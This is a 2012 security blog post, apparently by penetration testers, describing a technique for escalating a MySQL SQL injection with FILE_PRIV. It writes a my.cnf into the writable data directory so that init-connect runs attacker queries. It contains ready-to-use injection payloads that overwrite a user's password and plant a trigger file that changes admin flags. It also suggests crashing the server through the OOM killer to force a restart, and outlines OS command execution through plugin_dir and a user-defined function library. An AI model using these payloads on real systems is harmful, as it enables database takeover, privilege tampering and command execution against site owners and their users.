воскресенье, 4 марта 2012 г.

Advanced SQLi exploitation with FILE_PRIV

We would like to open our blog notes on the practical implementation of the SQL-injections. 
And also we try to focus more attention on the practical aspects of web application security in the future.

SQL injections are the most common server-side Web application vulnerabilities and meet almost every audit in our practice.
Very often it happens that through these vulnerabilities we can write files (granted FILE_PRIV).
The simplest way of the exploitation in this case - write executable script (i.e. shell.php) in www-root (i.e. /var/www/).
But sometimes there is no filesystem rights to write in /var/www.


We would like to present a method for the operation of these vulnerabilities to execute arbitrary queries and even commands (tested in Debian lenny).
This is not the easiest attack vector, but it is possible!


The idea is very simple and is to replace the file my.cnf. This configuration file is write-protected directory:
-rw-r--r-- 1 root root 3596 /etc/mysql/my.cnf
#debian lenny
However, if you write my.cnf in DATADIR it will work! And DATADIR is writable always:
drwx------  4 mysql   mysql   4096 /var/lib/mysql
#debian lenny


Then look at documentation:


Finally, attack vector will be like that:
'AND 1=2 UNION SELECT '[mysqld]\ninit-connect="update users set passwd=123 where id=0"\n#
INTO OUTFILE '/var/lib/mysql/my.cnf'-- -


Now you can execute any query from SQL-injection into SELECT statement and FILE_PRIV.
Query in init-connect will be executed after the non-SUPER user logs in. 
And there is another problem - you must somehow restart MySQL daemon.
The easiest way to wait until it happens naturally.
But you can always send a hard query to exceed a memory limit. 
Then OOM Killer make your job ;)


On MySQL 5.1.2+ (required by http://dev.mysql.com/doc/refman/5.1/en/server-system-variables.html#sysvar_plugin_dir) you can also execute OS commands by my.cnf like that:
[mysqld]
plugin_dir = /var/tmp/aaa # 5.1.2+ only
init-connect = "CREATE FUNCTION do_system RETURNS INTEGER SONAME 'so_system.so.0.0';"
# 2 3 4 5 6 7 8 9 10 11
Where /var/tmp/aaa is any writable directory, so_system.so.0.0 is your binary library.

UPDATE: see also genius work from: http://www.wisec.it/sectou.php?p=1
AND 1=0 union select 'TYPE=TRIGGERS' into outfile'/var/lib/mysql/users/user.TRG' LINES TERMINATED BY '\\ntriggers=\'CREATEDEFINER=`root`@`localhost` trigger atk after insert on user for each row\\nbegin\\nupdate user set isadmin=0 whereisadmin=1;\\nend\'sql_modes=0\ndefiners=\'root@localhost\'\nclient_cs_names=\'latin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'latin1_swedish_ci\'\n';

Thank you for your attention.
//Alexander Golovko, Vladimir d0znpp Vorontsov